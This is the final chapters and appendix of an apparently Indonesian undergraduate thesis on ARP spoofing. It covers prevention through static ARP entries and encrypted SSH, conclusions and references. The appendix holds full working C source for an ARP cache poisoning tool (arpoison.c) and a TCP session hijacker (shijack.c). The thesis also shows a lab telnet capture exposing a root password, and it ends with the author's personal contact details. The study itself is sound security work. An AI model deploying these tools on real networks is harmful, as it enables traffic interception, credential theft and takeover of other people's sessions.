Linux client 2.6.8-2-686 #1 Tue Aug 16 13:22:48 UTC 2005 i686
GNU/Linux

The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent


permitted by applicable law.
alice@client:~$ ls
rodli
alice@client:~$ l
-bash: l: command not found
alice@client:~$ Perintah terakhir yang
alice@client:~$ ls
rodli
dijalankan oleh client.
alice@client:~$ ls
rodli
alice@client:~$ dir
rodli
alice@client:~$ dir
rodli
alice@client:~$ dir
rodli
alice@client:~$ dir
rodli
alice@client:~$ pwd
/home/alice
alice@client:~$ whoami
alice
alice@client:~$ exit
Connection closed by foreign host.
linux:/home/rodli#
56

4.4 Pencegahan Serangan-Serangan Berbasis ARP Spoofing

Sebuah serangan ARP spoofing dengan mengirimkan ARP Reply


yang palsu secara terus-menerus ke host korban sangatlah sulit dicegah.
Karena pada umumnya kebanyakan sistem operasi selalu melakukan
update terhadap tabel ARP yang dimiliki ketika menerima ARP Reply
atau ARP Request.
Namun apabila semua alamat IP dan alamat MAC yang
terhubung dalam sebuah jaringan lokal selalu tetap (tidak berubah-
ubah), ARP Spoofing dapat dicegah dengan memasukkan data pemetaan
alamat IP dan alamat MAC ke ARP Cache dari sistem operasi.
Kelemahan dari pemberian ARP static ke ARP Cache setiap sistem
operasi tidak dapat dilakukan pada sebuah jaringan yang menggunakan
alamat IP yang selalu berubah-ubah (DHCP).
Pencegahan selanjutnya adalah dengan cara mengamankan
komunikasi yang terjadi. Dengan menggunakan koneksi yang
terenkripsi, attacker tidak akan dapat membaca apa saja yang dijalankan
oleh host client terhadap host server.

4.4.1 Penggunaan ARP Static

Pemberian ARP static pada tabel ARP masing-masing sistem


operasi yang berada pada jaringan lokal, dapat mencegah terjadinya
ARP spoofing. Dengan memberikan data pemetaan alamat IP dan
alamat MAC dari semua host yang ada dalam jaringan, host-host
tersebut tidak akan memasukkan pemetaan alamat IP dan alamat MAC
jika diterima paket ARP yang isinya sudah ada pada tabel ARP.

Pemberian ARP Static pada host client:


# arp s 10.252.108.127 00:E0:7D:DD:50:0F

Hasil yang didapatkan pada tabel ARP host client adalah sebagai
berikut:
client:~# arp
Address HWtype Hwaddress Flags Mask Iface
10.252.108.127 ether 00:E0:7D:DD:50:0F CM eth1
client:~# arp -a
? (10.252.108.127) at 00:E0:7D:DD:50:0F [ether] PERM on eth1

Pemberian ARP Static pada host server:


# arp -s 10.252.108.208 00:00:E2:9B:3C:B8
57

Dengan mengirimkan ARP Reply palsu yang dilakukan oleh host


attacker ke host client, paket ARP tersebut diterima oleh host client.
Namun hasil ARP yang diterima tidak dimasukkan ke ARP Cache host
client, karena pemetaan alamat IP host client terhadap alamat MAC
sudah ada pada tabel ARP host client.
Pemberian ARP static pada host server juga mempunyai efek
dapat memetakan alamat IP dengan alamat MAC secara permanen.
Hasilnya ARP Cache yang didapatkan sama dengan ujicoba dari host
client.
Ketika dilakukan percobaan melakukan koneksi dari host client
ke host server dengan menggunakan telnet, host attacker tidak akan
dapat melihat apa saja yang dijalankan oleh client. Hal tersebut terjadi,
karena trafik telnet (TCP) dari host client ke host server atau sebaliknya
tidak dapat disadap oleh host yang dikarenakan alamat Ethernet dari
masing-masing host client dan server tidak terpengaruh oleh paket ARP
Reply palsu yang dikirim oleh attacker. Gambar di bawah ini
menunjukkan trafik yang tertangkap di host attacker hanya paket ARP
Reply palsu yang dikirimkan, namun tidak dapat menerima paket TCP.

Gambar 4. 14 Trafik yang tertangkap oleh attacker

4.4.2 Penggunaan Program Terenkripsi


Dengan menggunakan program yang dapat melakukan enkripsi
ketika berkomunikasi, attacker yang melakukan sniffing terhadap
komunikasi yang terjadi tidak akan dapat membaca apa yang dikirim
atau diterima pada koneksi tersebut.

Client menjalankan perintah telnet:


linux:/home/rodli# telnet 10.252.108.127
58

Gambar 4.15 Perintah telnet disadap

Dari gambar di atas dengan menggunakan tool sniffit, dapat


diketahui bahwa client menjalankan perintah ke telnet server. Perintah-
perintah tersebut antara lain perintah dir. Ketika client menjalankan
perintah su berarti client ingin menjadi super user dari host server.
Kata selanjutnya setelah perintah su merupakan password dari
user root pada host server. Dari hasil tersebut, diketahui password dari
user root host server tersebut adalah root.
Hal inilah yang perlu dirahasiakan ketika sebuah host ingin
berkomunikasi dengan host lain.

Gambar 4.16 Hasil telnet disadap


59

Gambar 4.17 Follow TCP Stream koneksi Telnet

Selain dapat mengetahui perintah apa saja yang dijalankan oleh


host client ke telnet server, attacker juga dapat mengetahui hasil dari
perintah yang dijalankan oleh client. Gambar di atas adalah contoh dari
hasil yang akan ditampilkan pada host client setelah client menjalankan
beberapa perintah ke telnet server.

Client menjalankan perintah ssh:


linux:/home/rodli# ssh 10.252.108.127 l alice
60

Gambar 4.18 Perintah yang terenkripsi

Gambar 4.19 Follow TCP Stream SSH

Dari gambar di atas dapat disimpulkan bahwa sebuah koneksi


yang menggunakan ssh tidak akan dapat dibaca oleh attacker. Karena
ketika perintah yang dikirimkan akan dienkripsi terlebih dahulu oleh
program ssh. Begitu pula dengan apa yang diterima oleh client dari
server akan dienkripsi terlebih dahulu. Setelah sampai ke client program
ssh akan melakukan deenkripsi hasil dari perintah yang dijalankan.
BAB V
PENUTUP

5.1 Kesimpulan

Setelah melakukan serangkaian pengujian teknik ARP Spoofing


dan menganalisa hasil yang didapatkan dari pengujian tersebut, maka
dapat diambil kesimpulan sebagai berikut :
1. ARP spoofing akan mengirimkan ARP Reply palsu secara terus
menerus agar pemetaan alamat IP host korban terhadap alamat
MAC host attacker tetap pada ARP Cache host korban.
2. Serangan yang berbasis ARP spoofing antara lain sniffing, TCP
hijacking dan session hijacking.
3. Paket ARP Reply palsu dapat dicegah dengan ARP static pada ARP
Cache yaitu memasukkan pemetaan alamat IP dengan alamat MAC
secara permanent.
4. ARP spoofing sangat sulit dicegah, terutama pada sebuah jaringan
yang menggunakan IP DHCP. Namun serangan yang didasari oleh
ARP Spoofing dapat diatasi dengan menggunakan koneksi yang
terenkripsi.

5.2 Saran

Dari beberapa kesimpulan yang diperoleh, dapat diambil


beberapa saran, antara lain:
1. Program yang dibuat belum dapat melakukan session hijacking
dengan sempurna.
2. Untuk melakukan TCP hijacking memerlukan beberapa proses yang
telah dijelaskan di atas, harapannya program TCP hijacking tersebut
dapat digabungkan dengan program ARP spoofing.

61
62

Halaman ini sengaja dikosongkan!!!


DAFTAR PUSTAKA

[1] Budi Raharjo, Keamanan Sistem Informasi Berbasis Internet, PT


Insan Indonesia & PT INDOCISC, Jakarta, 2002
[2] David C. Plummer, RFC 826: An Ethernet Address Resolution
Protocol
http://www.ietf.org/rfc/
[3] echo community, Network Security 101: Teori dan Prinsip
http://echo.or.id/
[4] Galia Izenberg, Ohad Barzily, Sharon Vitek, Yaniv Oshrat, About
ARP, Tel Aviv University, 2001
http://www.raduniversity.com/networks/2001/ARP/arp.htm
[5] Laurent Licour, Vincent Royer, The IP Smart
Spoofing
http://www.medasys.com/
[6] Leila Fatmasari Rahman, Rui Zhou, IP Address Spoofing
Seminar Internet-working, Albert-Ludwigs-Universitt Freiburg,
Institute for Computer Science
[7] Prasimax Technology Development Center, Protokol TCP/IP
Bagian I, Prasimax Technology Development Center, Jakarta,
2002
[8] Sean Whalen, An Introduction to ARP Spoofing
http://node99.org/, 2001
[9] Silky Manwani, ARP Cache Poisoning, The Faculty of the
Department of Computer Science San Jose State University, San
Jose, 2003
http://www.cs.sjsu.edu/
[10] Sumit Dhar, Sniffers Basics and Detection, Information Security
Management Team
http://www.rootshell.be/
[11] Thomas Demuth and Achim Leitner, Traffic Tricks
http://www.linux-magazine.com/
[12] Ethical Hacking and Countermeasures, EC-Council Exam 312-
50
[13] http://www.packetfactory.net/libnet/
[14] http://www.tcpdump.org/

63
64

Halaman ini sengaja dikosongkan!!!


LAMPIRAN

arp.c
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#ifdef BSD
#include <sys/sysctl.h>
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__ /* XXX */
#define ether_addr_octet octet
#endif
#else /* !BSD */
#include <sys/ioctl.h>
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#ifdef BSD

int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether)
{
int mib[6];
size_t len;
char *buf, *next, *end;
struct rt_msghdr *rtm;
struct sockaddr_inarp *sin;
struct sockaddr_dl *sdl;

mib[0] = CTL_NET;
mib[1] = AF_ROUTE;
mib[2] = 0;
mib[3] = AF_INET;
mib[4] = NET_RT_FLAGS;
mib[5] = RTF_LLINFO;

if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)

65
66

return (-1);

if ((buf = (char *)malloc(len)) == NULL)


return (-1);

if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {


free(buf);
return (-1);
}
end = buf + len;

for (next = buf ; next < end ; next += rtm-


>rtm_msglen) {
rtm = (struct rt_msghdr *)next;
sin = (struct sockaddr_inarp *)(rtm + 1);
sdl = (struct sockaddr_dl *)(sin + 1);

if (sin->sin_addr.s_addr == ip && sdl-


>sdl_alen) {
memcpy(ether->ether_addr_octet,
LLADDR(sdl),
ETHER_ADDR_LEN);
free(buf);
return (0);
}
}
free(buf);

return (-1);
}

#else /* !BSD */

#ifndef ETHER_ADDR_LEN /* XXX - Solaris */


#define ETHER_ADDR_LEN 6
#endif

int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether)
{
int sock;
struct arpreq ar;
struct sockaddr_in *sin;

memset((char *)&ar, 0, sizeof(ar));


#ifdef __linux__
strncpy(ar.arp_dev, "eth0", sizeof(ar.arp_dev)); /*
XXX - *sigh* */
#endif
sin = (struct sockaddr_in *)&ar.arp_pa;
sin->sin_family = AF_INET;
67

sin->sin_addr.s_addr = ip;

if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {


return (-1);
}
if (ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) {
close(sock);
return (-1);
}
close(sock);
memcpy(ether->ether_addr_octet, ar.arp_ha.sa_data,
ETHER_ADDR_LEN);

return (0);
}

#endif /* !BSD */

/* 5000 */

arpoison.c
#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>

/*
fungsi untuk mendapatkan fungsi ether_ntoa dari linux
*/
extern char *ether_ntoa(struct ether_addr *);
/*
fungsi untuk mencari MAC (memanggil fungsi arp_cache_lookup
dari file arp.c)
dengan memanggil fungsi ioctl() dari kernel linux
*/
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);

static struct libnet_link_int *llif;


static struct ether_addr client_mac, target_mac; /* MAC host
client, MAC host server */
static in_addr_t client_ip, target_ip; /* IP host client, IP
host server */
static char *intf; /* hardware interface */
68

void penggunaan(void)
{
fprintf(stderr, "\n"
"Penggunaan: ./arpoison [-i interface] [-t
target] host\n");
exit(1);
}

/*
Fungsi untuk mengirimkan paket arp.
*/
int arp_send(struct libnet_link_int *llif, char *dev, int
op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
char ebuf[128];
u_char pkt[60];

//printf("source hw: %s \n",ether_ntoa((struct


ether_addr *)sha));
//printf("host ip: %s \n",inet_ntoa(*(struct in_addr
*)&spa));
//printf("target hw: %s \n",ether_ntoa((struct
ether_addr *)tha));
//printf("target ip: %s \n",inet_ntoa(*(struct
in_addr *)&tpa));

/* Mendapatkan MAC Address ATTACKER */


if (sha == NULL &&
(sha = (u_char *)libnet_get_hwaddr(llif, dev,
ebuf)) == NULL) {
return (-1);
}
//printf("attacker hw: %s \n",ether_ntoa((struct
ether_addr *)sha));

/*
memberi nilai host yang akan di spoof dengan IP milik
ATTACKER,
jika host yang akan di spoof tidak di inputkan.
*/
if (spa == 0) {
if ((spa = libnet_get_ipaddr(llif, dev,
ebuf)) == 0)
return (-1);
spa = htonl(spa);
}
//printf("sent to host ip: %s \n",inet_ntoa(*(struct
in_addr *)&spa));

/*
69

Memberi nilai MAC address yang dituju ke semua host


dalam jaringan,
jika host target tidak di inputkan
*/
if (tha == NULL)
tha = "\xff\xff\xff\xff\xff\xff";

/* Membuat paket ethernet dengan isi MAC host target,


MAC host ATTACKER dengan nilai payload 0 */
libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL,
0, pkt);

/* Membuat paket ARP yang mengirimkan:


header ARP,
jenis protokol yang dikirimkan,
panjang alamat Ethernet,
panjang alamat IP,
tipe paket ARP yang dikirimkan,
alamat hardware host ATTACKER,
alamat IP host A,
alamat hardware host B,
alamat IP host B,
isi paket ARP,
panjang isi paket
*/
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP,
ETHER_ADDR_LEN, 4,
op, sha, (u_char *)&spa, tha, (u_char
*)&tpa,
NULL, 0, pkt + ETH_H);

/* Print */
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)sha));

if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s
tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else {
fprintf(stderr, "%s 0806: arp reply ip %s
punya mac ",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
70

return (libnet_write_link_layer(llif, dev, pkt,


sizeof(pkt)) == sizeof(pkt));
}

#ifdef __linux__
int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) <


0)
return (0);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);

i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin,


sizeof(sin));

close(fd);

return (i == 0);
}
#endif

int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;

do {
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(llif, intf, ARPOP_REQUEST, NULL, 0,
NULL, ip);
#endif
sleep(1);
}
while (i++ < 3);

return (0);
}
71

void
cleanup(int sig)
{
int i;

printf("Restoring ARP Mapping... \n");


if (arp_find(client_ip, &client_mac)) {
for (i = 0; i < 3; i++) {
/* XXX - on BSD, requires ETHERSPOOF
kernel. */
arp_send(llif, intf, ARPOP_REPLY,
(u_char *)&client_mac,
client_ip,
(target_ip ? (u_char
*)&target_mac : NULL),
target_ip);
arp_send(llif, intf, ARPOP_REPLY,
(u_char *)&target_mac,
target_ip,
(client_ip ? (u_char
*)&client_mac : NULL),
client_ip);
sleep(1);
}
}
exit(0);
}

int main(int argc, char *argv[])


{
int c;
char ebuf[PCAP_ERRBUF_SIZE];

intf = NULL;
client_ip = target_ip = 0;

while ((c = getopt(argc, argv, "i:t:h")) != -1) {


switch (c) {
case 'i':
intf = optarg; /* device yang
digunakan adalah argumen setelah opsi -i */
break;
case 't':
if ((target_ip =
libnet_name_resolve(optarg, 1)) == -1) /* pengecekan IP host
target */
penggunaan();
break;
default:
penggunaan();
}
72

}
argc -= optind;
argv += optind;

if (argc != 1)
penggunaan();

/* pengecekan IP host client */


if ((client_ip = libnet_name_resolve(argv[0], 1)) ==
-1)
penggunaan();

/* cari device yang aktif jika variabel intf == NULL */


if (intf == NULL && (intf = pcap_lookupdev(ebuf)) ==
NULL)
errx(1, "%s", ebuf);

/* Inisialisasi nilai llif sebelum melakukan injeksi


paket */
if ((llif = libnet_open_link_interface(intf, ebuf))
== 0)
errx(1, "%s", ebuf);

//printf("target ip: %s \n",inet_ntoa(*(struct


in_addr *)&target_ip));
//printf("host ip: %s \n",inet_ntoa(*(struct in_addr
*)&client_ip));
arp_find(target_ip, &target_mac); /* mencari mac dari
IP host server */
arp_find(client_ip, &client_mac); /* mencari mac dari
IP host client */

/*
Melakukan pengecekan hasil pencarian arp (nilai dari
target_mac dan client mac dibaca)
jika tidak ditemukan nilai MACnya (MAC =
00:00:00:00:00:00) berarti host tidak ada.
*/
if(strcmp(ether_ntoa((struct ether_addr
*)&target_mac),"0:0:0:0:0:0")==0){
errx(1, "error tidak dapat mencari mac
address ip %s", libnet_host_lookup(target_ip, 0));
exit(0);
}else if(strcmp(ether_ntoa((struct ether_addr
*)&client_mac),"0:0:0:0:0:0")==0){
errx(1, "error tidak dapat mencari mac
address ip %s", libnet_host_lookup(client_ip, 0));
exit(0);
}

/*
73

Untuk mengontrol program yang sedang berjalan


ctrl + c untuk menghentikan
*/
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);

printf("Spoofing dilakukan... \n");

/*
Mengirimkan paket arp reply ke host target dan host
client
*/
for (;;) {
arp_send(llif, intf, ARPOP_REPLY, NULL,
client_ip,(target_ip ? (u_char *)&target_mac :
NULL),target_ip);
arp_send(llif, intf, ARPOP_REPLY, NULL,
target_ip,(client_ip ? (u_char *)&client_mac :
NULL),client_ip);
sleep(4);
}

exit(0);
}

shijack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libnet.h>
#include <pcap.h>
#include <signal.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/time.h>
#include <unistd.h>

#define lrandom(min, max) (random()%(max-min)+min)

struct seqack {
u_long seq;
u_long ack;
};

void
devsrandom(void)
74

{
int fd;
u_long seed;

fd = open("/dev/urandom", O_RDONLY);
if (fd == -1) {
fd = open("/dev/random", O_RDONLY);
if (fd == -1) {
struct timeval tv;

gettimeofday(&tv, NULL);
srandom((tv.tv_sec ^ tv.tv_usec) *
tv.tv_sec * tv.tv_usec ^ tv.tv_sec);
return;
}
}
read(fd, &seed, sizeof(seed));
close(fd);
srandom(seed);
}

void
getseqack(char *interface, u_long srcip, u_long
dstip, u_long sport, u_long dport, struct seqack *sa){
pcap_t *pt;
char ebuf[PCAP_ERRBUF_SIZE];
u_char *buf;
struct ip iph;
struct tcphdr tcph;
int ethrhdr;

pt = pcap_open_live(interface, 65535, 1, 60,


ebuf);
if(!pt)
{
printf("pcap_open_live: %s\n", ebuf);
exit(-1);
}
switch(pcap_datalink(pt)) {
case DLT_EN10MB:
case DLT_EN3MB:
ethrhdr = 14;
break;
case DLT_FDDI:
ethrhdr = 21;
break;
case DLT_SLIP:
ethrhdr = 16;
break;
case DLT_NULL:
75

case DLT_PPP:
ethrhdr = 4;
break;
case DLT_RAW:
ethrhdr = 0;
default:
printf("pcap_datalink: Can't figure
out how big the ethernet header is.\n");
exit(-1);
}

printf("Waiting for SEQ/ACK to arrive from


the srcip to the dstip.\n");
printf("(To speed things up, try making some
traffic between the two, /msg person asdf\n\n");

for (;;) {
struct pcap_pkthdr pkthdr;

buf = (u_char *) pcap_next(pt,


&pkthdr);
if (!buf)
continue;
memcpy(&iph, buf + ethrhdr,
sizeof(iph));
if (iph.ip_p != IPPROTO_TCP)
continue;
if ((iph.ip_src.s_addr != srcip) ||
(iph.ip_dst.s_addr != dstip))
continue;
memcpy(&tcph, buf + ethrhdr +
sizeof(iph), sizeof(tcph));
if ((tcph.th_sport != htons(sport)) ||
(tcph.th_dport != htons(dport)))
continue;
if (!(tcph.th_flags & TH_ACK))
continue;
printf("Got packet! SEQ = 0x%lx ACK =
0x%lx\n", htonl(tcph.th_seq), htonl(tcph.th_ack));
sa->seq = htonl(tcph.th_seq);
sa->ack = htonl(tcph.th_ack);
pcap_close(pt);
return;
}
}

void
76

sendtcp(u_long srcip, u_long dstip, u_long sport, u_long


dport, u_char flags, u_long seq, u_long ack, char *data, int
datalen)
{
u_char *packet;
int fd, psize;

devsrandom();
psize = LIBNET_IP_H + LIBNET_TCP_H + datalen;
libnet_init_packet(psize, &packet);
if (!packet)
libnet_error(LIBNET_ERR_FATAL,
"libnet_init_packet failed\n");
fd = libnet_open_raw_sock(IPPROTO_RAW);
if (fd == -1)
libnet_error(LIBNET_ERR_FATAL,
"libnet_open_raw_sock failed\n");

libnet_build_ip(LIBNET_TCP_H + datalen, 0, random(),


0, lrandom(128, 255), IPPROTO_TCP, srcip, dstip, NULL, 0,
packet);
libnet_build_tcp(sport, dport, seq, ack, flags,
65535, 0, (u_char *) data, datalen, packet + LIBNET_IP_H);

if (libnet_do_checksum(packet, IPPROTO_TCP,
LIBNET_TCP_H + datalen) == -1)
libnet_error(LIBNET_ERR_FATAL,
"libnet_do_checksum failed\n");
libnet_write_ip(fd, packet, psize);
libnet_close_raw_sock(fd);
libnet_destroy_packet(&packet);
}

struct seqack sa;


u_long srcip, dstip, sport, dport;

void
sighandle(int sig)
{
printf("Closing connection..\n");
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq,
0, NULL, 0);
printf("Done, Exiting.\n");
exit(0);
}

int
main(int argc, char *argv[])
{
char *ifa = argv[1];
char buf[4096];
77

int reset = 0;
signal(SIGTERM, sighandle);
signal(SIGINT, sighandle);

if (argc < 6) {
printf("Usage: %s <interface> <src ip> <src
port> <dst ip> <dst port> [-r]\n", argv[0]);
printf("<interface>\t\tThe interface you are
going to hijack on.\n");
printf("<src ip>\t\tThe source ip of the
connection.\n");
printf("<src port>\t\tThe source port of the
connection.\n");
printf("<dst ip>\t\tThe destination IP of the
connection.\n");
printf("<dst port>\t\tThe destination port of
the connection.\n");
printf("[-r]\t\t\tReset the connection rather
than hijacking it.\n");
printf("\nCoded by spwny, Inspiration by
cyclozine (http://www.geocities.com/stasikous).\n");
exit(-1);
}

if (argv[6] && !strcmp(argv[6], "-r") )


reset = 1;

srcip = inet_addr(argv[2]);
dstip = inet_addr(argv[4]);
sport = atol(argv[3]);
dport = atol(argv[5]);

if (!srcip) {
printf("%s is not a valid ip.\n", argv[2]);
exit(-1);
}
if (!dstip) {
printf("%s is not a valid ip.\n", argv[4]);
exit(-1);
}
if ((sport > 65535) || (dport > 65535) || (sport < 1)
|| (dport < 1)) {
printf("The valid TCP port range is 1-
1024.\n");
exit(-1);
}
getseqack(ifa, srcip, dstip, sport, dport, &sa);

if (reset) {
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq,
0, NULL, 0);
78

printf("\nConnection has been reset.\n");


return 0;
}

/*
* Sending 1024 of zero bytes so the real owner of
the TCP connection
* wont be able to get us out of sync with the SEQ.
*/
memset(&buf, 0, sizeof(buf));
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH,
sa.seq, sa.ack, buf, 1024);
sa.seq += 1024;

printf("Starting hijack session, Please use ^C to


terminate.\n");
printf("Anything you enter from now on is sent to the
hijacked TCP connection.\n");

while (fgets(buf, sizeof(buf) - 1, stdin)) {


sendtcp(srcip, dstip, sport, dport, TH_ACK |
TH_PUSH, sa.seq, sa.ack, buf, strlen(buf));
sa.seq += strlen(buf);
memset(&buf, 0, sizeof(buf));
}
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_FIN,
sa.seq, sa.ack, NULL, 0);
printf("Exiting..\n");
return (0);
}
PROFILE PENULIS

Nama : Ahmad Rodli Farhan


Panggilan : Rodli, Farhan
Alamat : Jl. Cut Nyak Dien 44 Bungah
Gresik
Jl. Gembili I No. 1
Surabaya
Agama : Islam
TTL : Surabaya, 13 November 1985
HP : 085648049232
Email : rodli_f@yahoo.com

Latar Belakang Pendidikan :


SD Negeri Bungah Gresik 1991 - 1997
SLTP Negeri I Bungah Gresik 1997 - 2000
SMK Telekomunikasi Sandhy Putra Malang 2000 - 2003
Polteknik Elektronika Negeri Surabaya - ITS
Jurusan Teknologi Informasi 2003 - 2006

Anda mungkin juga menyukai